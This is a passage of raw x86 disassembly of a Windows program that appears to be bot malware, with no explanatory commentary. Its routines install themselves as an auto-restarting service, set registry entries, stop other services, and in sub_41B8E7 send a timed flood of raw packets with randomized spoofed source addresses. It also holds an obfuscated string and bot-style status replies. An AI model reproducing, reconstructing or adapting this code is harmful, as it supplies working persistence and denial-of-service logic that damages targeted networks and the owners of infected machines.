loc_41B17A:				; CODE XREF: sub_41B0B0+8Bj
		call	dword_42F068	; RtlGetLastWin32Error
		cmp	eax, 426h
		jnz	short loc_41B1B3
		cmp	[ebp+arg_C], 0
		jz	short loc_41B1B3
		cmp	[ebp+arg_10], 0
		jnz	short loc_41B1B3
		cmp	[ebp+arg_8], 0
		jnz	short loc_41B1B3
		push	off_4428BC[edi]
		push	esi
		push	offset aSTheSServiceWa ; "%s The %s service was	not started."


loc_41B1A5:				; CODE XREF: sub_41B0B0+7Aj
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4104F6
		add	esp, 14h


loc_41B1B3:				; CODE XREF: sub_41B0B0+4Bj
					; sub_41B0B0+56j ...
		push	ebx
		call	dword_4541F0	; CloseServiceHandle
		push	[ebp+var_8]
		call	dword_4541F0	; CloseServiceHandle
		add	edi, 4
		cmp	edi, 14h
		jl	loc_41B0C3
		xor	eax, eax
		cmp	[ebp+var_4], eax
		jnz	short loc_41B1FB
		cmp	[ebp+arg_10], eax
		jnz	short loc_41B221
		cmp	[ebp+arg_8], eax
		jnz	short loc_41B221
		cmp	[ebp+arg_C], eax
		jnz	short loc_41B221
		push	esi
		push	offset aSNoServicesSto ; "%s No	services stopped."
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4104F6
		add	esp, 10h
		jmp	short loc_41B221
; ---------------------------------------------------------------------------


loc_41B1FB:				; CODE XREF: sub_41B0B0+124j
		cmp	[ebp+arg_10], eax
		jnz	short loc_41B221
		cmp	[ebp+arg_8], eax
		jnz	short loc_41B221
		cmp	[ebp+arg_C], eax
		jnz	short loc_41B221
		push	[ebp+var_4]
		push	esi
		push	offset aSTotalServices ; "%s Total services stopped: %d"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4104F6
		add	esp, 14h


loc_41B221:				; CODE XREF: sub_41B0B0+129j
					; sub_41B0B0+12Ej ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B0B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B226	proc near		; DATA XREF: sub_403B2C+7359o
					; sub_412267+11Co

var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= dword	ptr -1BCh
var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_190		= dword	ptr -190h
var_18C		= dword	ptr -18Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 240h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 90h
		mov	esi, eax
		lea	edi, [ebp+var_240]
		rep movsd
		xor	edi, edi
		xor	esi, esi
		inc	edi
		cmp	[ebp+var_1A8], esi
		mov	[eax+0BCh], edi
		jz	short loc_41B28E


loc_41B256:				; CODE XREF: sub_41B226+66j
		cmp	dword_4543E8, esi
		jnz	short loc_41B281
		push	edi
		push	esi
		push	edi
		push	esi
		push	esi
		call	sub_41B0B0
		push	edi
		push	esi
		push	edi
		push	esi
		push	esi
		push	edi
		call	sub_41AA69
		push	edi
		push	esi
		push	edi
		push	esi
		push	esi
		push	edi
		call	sub_41AD33
		add	esp, 44h


loc_41B281:				; CODE XREF: sub_41B226+36j
		push	927C0h
		call	dword_42F15C	; Sleep
		jmp	short loc_41B256
; ---------------------------------------------------------------------------


loc_41B28E:				; CODE XREF: sub_41B226+2Ej
		cmp	dword_4543E8, esi
		mov	edi, [ebp+var_240]
		jnz	short loc_41B304
		cmp	[ebp+var_1AC], esi
		jz	short loc_41B2C1
		push	esi
		lea	eax, [ebp+var_23C]
		push	[ebp+var_190]
		push	[ebp+var_18C]
		push	eax
		push	edi
		call	sub_41B0B0
		add	esp, 14h


loc_41B2C1:				; CODE XREF: sub_41B226+7Cj
		push	esi
		lea	eax, [ebp+var_23C]
		push	[ebp+var_190]
		push	[ebp+var_18C]
		push	eax
		push	edi
		push	[ebp+var_1AC]
		call	sub_41AA69
		push	esi
		lea	eax, [ebp+var_23C]
		push	[ebp+var_190]
		push	[ebp+var_18C]
		push	eax
		push	edi
		push	[ebp+var_1AC]
		call	sub_41AD33
		add	esp, 30h


loc_41B304:				; CODE XREF: sub_41B226+74j
		push	[ebp+var_1BC]
		call	sub_41C059
		pop	ecx
		push	esi
		call	dword_42F150	; ExitThread
		pop	edi
		pop	esi


loc_41B319:				; DATA XREF: sub_41B387+12o
		cmp	[esp+244h+var_240], 5
		push	esi
		jnz	short loc_41B368
		mov	esi, offset dword_4554B0
		mov	ecx, esi
		call	sub_411123
		test	al, al
		jz	short loc_41B35E
		push	offset aSystemShutting ; "System shutting down."
		push	esi
		call	sub_41015C
		pop	ecx
		pop	ecx
		push	1F4h
		call	dword_42F15C	; Sleep
		mov	ecx, esi
		call	sub_41012A
		call	dword_454258	; WSACleanup
		push	0
		call	dword_42F06C	; ExitProcess


loc_41B35E:				; CODE XREF: sub_41B226+109j
		mov	dword_46C3F0, 7


loc_41B368:				; CODE XREF: sub_41B226+F9j
		push	offset dword_46C3EC
		push	dword_46C3E8
		call	dword_45426C	; SetServiceStatus
		test	eax, eax
		jnz	short loc_41B383
		call	dword_42F068	; RtlGetLastWin32Error


loc_41B383:				; CODE XREF: sub_41B226+155j
		pop	esi
		retn	4
sub_41B226	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41B387	proc near		; DATA XREF: sub_4120E9+4Do

var_4		= byte ptr -4

		push	ecx
		push	esi
		push	edi
		push	4
		xor	esi, esi
		pop	edi
		mov	dword_46C3EC, 30h
		push	offset loc_41B319
		push	offset dword_439068
		mov	dword_46C3F0, 2
		mov	dword_46C3F4, edi
		mov	dword_46C3F8, esi
		mov	dword_46C3FC, esi
		mov	dword_46C400, esi
		mov	dword_46C404, esi
		call	dword_454328	; RegisterServiceCtrlHandlerA
		push	offset dword_46C3EC
		push	eax
		mov	dword_46C3E8, eax
		mov	dword_46C3F0, edi
		mov	dword_46C400, esi
		mov	dword_46C404, esi
		call	dword_45426C	; SetServiceStatus
		lea	eax, [esp+0Ch+var_4]
		push	eax
		push	esi
		push	esi
		push	offset sub_41B537
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_41B41E
		push	0FFFFFFFFh
		push	edi
		call	dword_42F064	; WaitForSingleObject
		push	edi
		call	dword_42F038	; CloseHandle


loc_41B41E:				; CODE XREF: sub_41B387+85j
		pop	edi
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
sub_41B387	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B424	proc near		; CODE XREF: sub_4120E9+122p
					; sub_4120E9+170p

var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	esi
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_104]
		push	offset aS_3	; "\"%s\""
		push	eax
		call	sub_422063
		add	esp, 0Ch
		xor	esi, esi
		push	2
		push	esi
		push	esi
		call	dword_454304	; OpenSCManagerA
		cmp	eax, esi
		mov	dword_46C3E4, eax
		jnz	short loc_41B464
		push	[ebp+arg_0]
		call	sub_41B69D
		pop	ecx


loc_41B464:				; CODE XREF: sub_41B424+35j
		push	esi
		push	esi
		push	esi
		push	esi
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	esi
		push	2
		push	110h
		push	0F01FFh
		push	offset dword_439098
		push	offset dword_439068
		push	dword_46C3E4
		call	dword_45437C	; CreateServiceA
		mov	edi, eax
		cmp	edi, esi
		jnz	short loc_41B4B8
		call	dword_42F068	; RtlGetLastWin32Error
		cmp	eax, 436h
		jz	short loc_41B4C3
		cmp	eax, 431h
		jz	short loc_41B4C3
		push	[ebp+arg_0]
		call	sub_41B69D
		pop	ecx
		jmp	short loc_41B4C8
; ---------------------------------------------------------------------------


loc_41B4B8:				; CODE XREF: sub_41B424+73j
		push	offset dword_4390C8
		call	sub_41B575
		pop	ecx


loc_41B4C3:				; CODE XREF: sub_41B424+80j
					; sub_41B424+87j
		call	sub_41B4E1


loc_41B4C8:				; CODE XREF: sub_41B424+92j
		push	edi
		call	dword_4541F0	; CloseServiceHandle
		push	dword_46C3E4
		call	dword_4541F0	; CloseServiceHandle
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn
sub_41B424	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E1	proc near		; CODE XREF: sub_41B424:loc_41B4C3p
		push	esi
		push	0F003Fh
		push	0
		push	0
		call	dword_454304	; OpenSCManagerA
		test	eax, eax
		mov	dword_46C3E4, eax
		jz	short loc_41B533
		push	0F01FFh
		push	offset dword_439068
		push	eax
		call	dword_4541D4	; OpenServiceA
		mov	esi, eax
		test	esi, esi
		jz	short loc_41B533
		push	0
		push	0
		push	esi
		call	dword_4541DC	; StartServiceA
		test	eax, eax
		jz	short loc_41B533
		push	dword_46C3E4
		call	dword_4541F0	; CloseServiceHandle
		push	esi
		call	dword_4541F0	; CloseServiceHandle


loc_41B533:				; CODE XREF: sub_41B4E1+17j
					; sub_41B4E1+2Ej ...
		xor	eax, eax
		pop	esi
		retn
sub_41B4E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B537	proc near		; DATA XREF: sub_41B387+74o

var_4		= byte ptr -4

		push	ecx
		push	esi
		push	edi
		lea	eax, [esp+0Ch+var_4]
		xor	edi, edi
		push	eax
		push	edi
		push	edi
		push	offset sub_412267
		push	edi
		push	edi
		call	dword_42F158	; CreateThread
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_41B55E
		pop	edi
		xor	eax, eax
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------


loc_41B55E:				; CODE XREF: sub_41B537+1Dj
		push	0FFFFFFFFh
		push	esi
		call	dword_42F064	; WaitForSingleObject
		push	esi
		call	dword_42F038	; CloseHandle
		push	edi
		call	dword_42F150	; ExitThread
sub_41B537	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B575	proc near		; CODE XREF: sub_41B424+99p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	ebx, ebx
		push	0F003Fh
		inc	edi
		push	ebx
		push	ebx
		mov	[ebp+var_8], edi
		call	dword_454304	; OpenSCManagerA
		cmp	eax, ebx
		mov	dword_46C3E4, eax
		jz	short loc_41B600
		mov	esi, offset dword_439068
		push	0F01FFh
		push	esi
		push	eax
		call	dword_4541D4	; OpenServiceA
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41B600
		push	dword_46C3E4
		call	dword_454208	; LockServiceDatabase
		cmp	eax, ebx
		mov	[ebp+var_14], eax
		jnz	short loc_41B612
		call	dword_42F068	; RtlGetLastWin32Error
		cmp	eax, 41Fh
		jnz	short loc_41B600
		mov	ebx, 10Ch
		push	ebx
		push	40h
		call	dword_42F114	; LocalAlloc
		test	eax, eax
		mov	[ebp+var_C], eax
		jz	short loc_41B600
		lea	ecx, [ebp+var_18]
		push	ecx
		push	ebx
		push	eax
		push	dword_46C3E4
		call	dword_454284	; QueryServiceLockStatusA
		test	eax, eax
		jnz	short loc_41B607


loc_41B600:				; CODE XREF: sub_41B575+25j
					; sub_41B575+3Ej ...
		xor	eax, eax
		jmp	loc_41B698
; ---------------------------------------------------------------------------


loc_41B607:				; CODE XREF: sub_41B575+89j
		push	[ebp+var_C]
		call	dword_42F030	; LocalFree
		xor	ebx, ebx


loc_41B612:				; CODE XREF: sub_41B575+51j
		push	2
		push	esi
		push	dword_46C3E4
		call	dword_4541D4	; OpenServiceA
		mov	dword_46C3E4, eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_34]
		push	eax
		push	2
		push	[ebp+var_4]
		mov	[ebp+var_1C], 0BB8h
		mov	[ebp+var_20], edi
		mov	[ebp+var_28], edi
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_30], ebx
		mov	[ebp+var_34], 0Ah
		call	dword_4543CC	; ChangeServiceConfig2A
		test	eax, eax
		jnz	short loc_41B65C
		mov	[ebp+var_8], ebx


loc_41B65C:				; CODE XREF: sub_41B575+E2j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	edi
		push	[ebp+var_4]
		call	dword_4543CC	; ChangeServiceConfig2A
		test	eax, eax
		jnz	short loc_41B677
		mov	[ebp+var_8], ebx


loc_41B677:				; CODE XREF: sub_41B575+FDj
		push	[ebp+var_14]
		call	dword_45432C	; UnlockServiceDatabase
		push	[ebp+var_4]
		call	dword_4541F0	; CloseServiceHandle
		push	dword_46C3E4
		call	dword_4541F0	; CloseServiceHandle
		mov	eax, [ebp+var_8]


loc_41B698:				; CODE XREF: sub_41B575+8Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B575	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B69D	proc near		; CODE XREF: sub_41B424+3Ap
					; sub_41B424+8Cp

var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_15B		= byte ptr -15Bh
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 364h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_364]
		push	104h
		xor	ebx, ebx
		push	eax
		push	ebx
		call	dword_42F074	; GetModuleHandleA
		push	eax
		call	dword_42F154	; GetModuleFileNameA
		push	40h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_15B]
		mov	[ebp+var_15C], bl
		push	ebx
		rep stosd
		push	dword_439018
		stosw
		stosb
		lea	eax, [ebp+var_15C]
		push	eax
		push	ebx
		call	dword_42F234
		mov	esi, dword_42F04C
		lea	eax, [ebp+var_15C]
		push	eax
		push	offset dword_4553A8
		call	esi ; dword_42F04C
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		call	esi ; dword_42F04C
		mov	esi, offset loc_439030
		lea	eax, [ebp+var_260]
		push	esi
		push	eax
		push	offset dword_43C270
		push	[ebp+arg_0]
		call	sub_422063
		lea	eax, [ebp+var_260]
		push	esi
		push	eax
		call	sub_41F01F
		add	esp, 18h
		test	eax, eax
		jz	loc_41B7F6
		push	1
		mov	edi, offset byte_439233
		push	[ebp+arg_0]
		mov	esi, offset dword_439134
		push	edi
		push	esi
		push	80000001h
		call	sub_41A8F2
		push	1
		push	[ebp+arg_0]
		push	edi
		push	esi
		push	dword_439130
		call	sub_41A8F2
		push	10h
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_4221F0
		push	44h
		lea	eax, [ebp+var_58]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 40h
		lea	eax, [ebp+var_14]
		mov	[ebp+var_58], esi
		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		inc	esi
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+arg_0]
		mov	[ebp+var_4C], offset byte_44D6A4
		mov	[ebp+var_2C], esi
		mov	[ebp+var_28], bx
		call	dword_42F078	; CreateProcessA
		test	eax, eax
		jz	short loc_41B7EF
		push	0C8h
		call	dword_42F15C	; Sleep
		push	[ebp+var_14]
		mov	esi, dword_42F038
		call	esi ; dword_42F038
		push	[ebp+var_10]
		call	esi ; dword_42F038
		call	dword_454258	; WSACleanup
		push	ebx
		call	dword_42F06C	; ExitProcess


loc_41B7EF:				; CODE XREF: sub_41B69D+128j
		push	esi
		call	dword_42F06C	; ExitProcess


loc_41B7F6:				; CODE XREF: sub_41B69D+A3j
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_412267
		push	ebx
		push	ebx
		call	dword_42F158	; CreateThread
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41B81F
		push	0FFFFFFFFh
		push	esi
		call	dword_42F064	; WaitForSingleObject
		push	esi
		call	dword_42F038	; CloseHandle


loc_41B81F:				; CODE XREF: sub_41B69D+170j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B69D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B824	proc near		; DATA XREF: sub_403B2C+5B69o

var_1124	= byte ptr -1124h
var_124		= dword	ptr -124h
var_120		= byte ptr -120h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1124h
		call	sub_4220C0
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	49h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_124]
		rep movsd
		push	[ebp+var_10]
		mov	edi, [ebp+var_124]
		mov	dword ptr [eax+120h], 1
		lea	eax, [ebp+var_A0]
		push	[ebp+var_C]
		push	eax
		push	edi
		push	[ebp+var_8]
		lea	eax, [ebp+var_120]
		push	[ebp+var_20]
		push	[ebp+var_14]
		push	[ebp+var_18]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B8E7
		push	eax
		push	offset aXtyre1_rjar_xf ; "XtyrE1.RJaR.xfK1r.VuQwI."
		lea	eax, [ebp+var_1124]
		push	offset aSDoneOk_ ; "%s Done Ok."
		push	eax
		call	sub_422063
		xor	esi, esi
		add	esp, 38h
		cmp	[ebp+var_C], esi
		jnz	short loc_41B8B9
		cmp	[ebp+var_10], esi
		jnz	short loc_41B8BE
		lea	eax, [ebp+var_1124]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	edi
		call	sub_4104F6
		add	esp, 0Ch


loc_41B8B9:				; CODE XREF: sub_41B824+77j
		cmp	[ebp+var_10], esi
		jz	short loc_41B8D5


loc_41B8BE:				; CODE XREF: sub_41B824+7Cj
		lea	eax, [ebp+var_1124]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	edi
		call	sub_410491
		add	esp, 0Ch


loc_41B8D5:				; CODE XREF: sub_41B824+98j
		push	[ebp+var_20]
		call	sub_41C059
		pop	ecx
		push	esi
		call	dword_42F150	; ExitThread
		pop	edi
		pop	esi
sub_41B824	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B8E7	proc near		; CODE XREF: sub_41B824+53p

var_94		= word ptr -94h
var_92		= word ptr -92h
var_90		= dword	ptr -90h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		push	4
		inc	ecx
		xor	ebx, ebx
		pop	edx
		xor	eax, eax
		cmp	[ebp+arg_14], ecx
		lea	edi, [ebp+var_50]
		mov	[ebp+var_84], ebx
		mov	[ebp+var_80], ecx
		mov	[ebp+var_7C], 2
		mov	[ebp+var_78], edx
		mov	[ebp+var_74], 6
		mov	[ebp+var_70], 8
		mov	[ebp+var_6C], 0Ch
		mov	[ebp+var_68], 0Eh
		mov	[ebp+var_64], 15h
		mov	[ebp+var_60], 2Ch
		mov	[ebp+var_5C], 6Fh
		mov	[ebp+var_58], 0FFh
		mov	[ebp+var_54], ebx
		stosd
		mov	esi, 200h
		lea	edi, [ebp+var_20]
		mov	[ebp+var_48], ebx
		mov	[ebp+var_44], ebx
		mov	[ebp+var_40], ebx
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], 2
		mov	[ebp+var_34], edx
		mov	[ebp+var_30], 10h
		mov	[ebp+var_2C], 1A0Ah
		mov	[ebp+var_28], ecx
		mov	[ebp+var_24], ebx
		mov	[ebp+var_18], ecx
		stosd
		jnz	short loc_41B999
		push	offset dword_4552D0
		call	sub_4140CF
		pop	ecx
		mov	ebx, eax
		jmp	short loc_41B9BD
; ---------------------------------------------------------------------------


loc_41B999:				; CODE XREF: sub_41B8E7+A1j
		mov	edi, 100h
		push	edi
		call	sub_423F55
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		call	dword_454324	; gethostname
		push	ebx
		call	dword_454398	; gethostbyname
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	ebx, [eax]


loc_41B9BD:				; CODE XREF: sub_41B8E7+B0j
		push	0FFh
		push	3
		push	2
		call	dword_42F29C	; socket
		lea	ecx, [ebp+var_18]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+arg_14], eax
		call	dword_42F2B4	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41BA1B
		push	[ebp+arg_14]
		call	dword_42F298	; closesocket
		push	[ebp+arg_10]
		call	sub_41C059
		pop	ecx
		mov	esi, offset dword_439638
		mov	ecx, [ebp+arg_18]
		push	esi
		call	sub_41074B
		mov	ecx, [ebp+arg_18]
		push	offset dword_43963C
		push	esi
		call	sub_410720
		xor	eax, eax
		jmp	loc_41BB8A
; ---------------------------------------------------------------------------


loc_41BA1B:				; CODE XREF: sub_41B8E7+FDj
		push	8
		call	sub_41C235
		test	eax, eax
		pop	ecx
		jle	short loc_41BA44
		push	offset aStopped_ ; "Stopped."
		push	8
		push	edi
		push	edi
		push	[ebp+arg_24]
		push	[ebp+arg_20]
		push	[ebp+arg_18]
		push	[ebp+arg_1C]
		call	sub_41C090
		add	esp, 20h


loc_41BA44:				; CODE XREF: sub_41B8E7+13Ej
		push	esi
		call	sub_422F79
		mov	edi, dword_42F164
		pop	ecx
		mov	[ebp+arg_18], eax
		call	edi ; dword_42F164
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		call	dword_45434C	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_90], eax
		mov	[ebp+var_94], 2
		call	dword_42F2B8	; ntohs
		mov	[ebp+var_92], ax
		jmp	loc_41BB5E
; ---------------------------------------------------------------------------


loc_41BA86:				; CODE XREF: sub_41B8E7+288j
		call	sub_4220FC
		cdq
		mov	ecx, 0FFh
		and	ebx, 0FFFFFFh
		idiv	ecx
		shl	edx, 18h
		or	ebx, edx
		call	sub_4220FC
		cdq
		mov	ecx, 0F4h
		idiv	ecx
		mov	[ebp+var_4C], edx
		call	sub_4220FC
		cdq
		mov	ecx, 1FA4h
		mov	[ebp+var_14], 45h
		idiv	ecx
		mov	[ebp+var_13], 4
		mov	[ebp+var_1C], edx
		call	sub_4220FC
		mov	[ebp+var_10], ax
		call	sub_4220FC
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	ax, word ptr [ebp+edx*4+var_48]
		push	eax
		call	dword_454314	; ntohs
		push	esi
		mov	[ebp+var_E], ax
		call	dword_454314	; ntohs
		or	[ebp+var_C], 0FFh
		mov	[ebp+var_12], ax
		call	sub_4220FC
		push	0Eh
		mov	[ebp+var_8], ebx
		cdq
		pop	ecx
		idiv	ecx
		push	[ebp+arg_0]
		mov	al, byte ptr [ebp+edx*4+var_84]
		mov	[ebp+var_B], al
		call	dword_45434C	; inet_addr
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_14]
		push	14h
		push	eax
		call	sub_414271
		mov	[ebp+var_A], ax
		lea	eax, [ebp+var_14]
		push	14h
		push	eax
		push	[ebp+arg_18]
		call	sub_4223F0
		add	esp, 14h
		lea	eax, [ebp+var_94]
		push	10h
		push	eax
		push	0
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		call	dword_454370	; sendto
		push	[ebp+arg_C]
		call	dword_42F15C	; Sleep


loc_41BB5E:				; CODE XREF: sub_41B8E7+19Aj
		call	edi ; dword_42F164
		sub	eax, [ebp+arg_10]
		mov	ecx, 3E8h
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+arg_8]
		jbe	loc_41BA86
		push	[ebp+arg_18]
		call	sub_4230B3
		pop	ecx
		push	[ebp+arg_14]
		call	dword_4543AC	; closesocket
		xor	eax, eax
		inc	eax


loc_41BB8A:				; CODE XREF: sub_41B8E7+12Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B8E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB8F	proc near		; DATA XREF: sub_403B2C+5DA7o

var_250		= dword	ptr -250h
var_24C		= byte ptr -24Ch
var_14C		= byte ptr -14Ch
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_A8		= word ptr -0A8h
var_A6		= word ptr -0A6h
var_A4		= dword	ptr -0A4h
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 250h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_250]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+1A4h], esi
		mov	eax, [ebp+var_250]
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_4140CF
		pop	ecx
		mov	[ebp+var_10], eax
		push	8
		xor	edx, edx
		pop	ecx
		mov	ebx, 0FFh
		xor	eax, eax
		cmp	[ebp+var_B0], 1
		lea	edi, [ebp+var_64]
		mov	[ebp+var_98], edx
		mov	[ebp+var_94], esi
		mov	[ebp+var_90], 2
		mov	[ebp+var_8C], 4
		mov	[ebp+var_88], 6
		mov	[ebp+var_84], ecx
		mov	[ebp+var_80], 0Ch
		mov	[ebp+var_7C], 11h
		mov	[ebp+var_78], 16h
		mov	[ebp+var_74], 29h
		mov	[ebp+var_70], 3Ah
		mov	[ebp+var_6C], ebx
		mov	[ebp+var_68], edx
		mov	[ebp+var_2C], esi
		mov	esi, 200h
		stosd
		lea	edi, [ebp+var_34]
		mov	[ebp+var_5C], edx
		mov	[ebp+var_58], edx
		mov	[ebp+var_54], edx
		mov	[ebp+var_50], esi
		mov	[ebp+var_4C], ecx
		mov	[ebp+var_48], 1000h
		mov	[ebp+var_44], 2000h
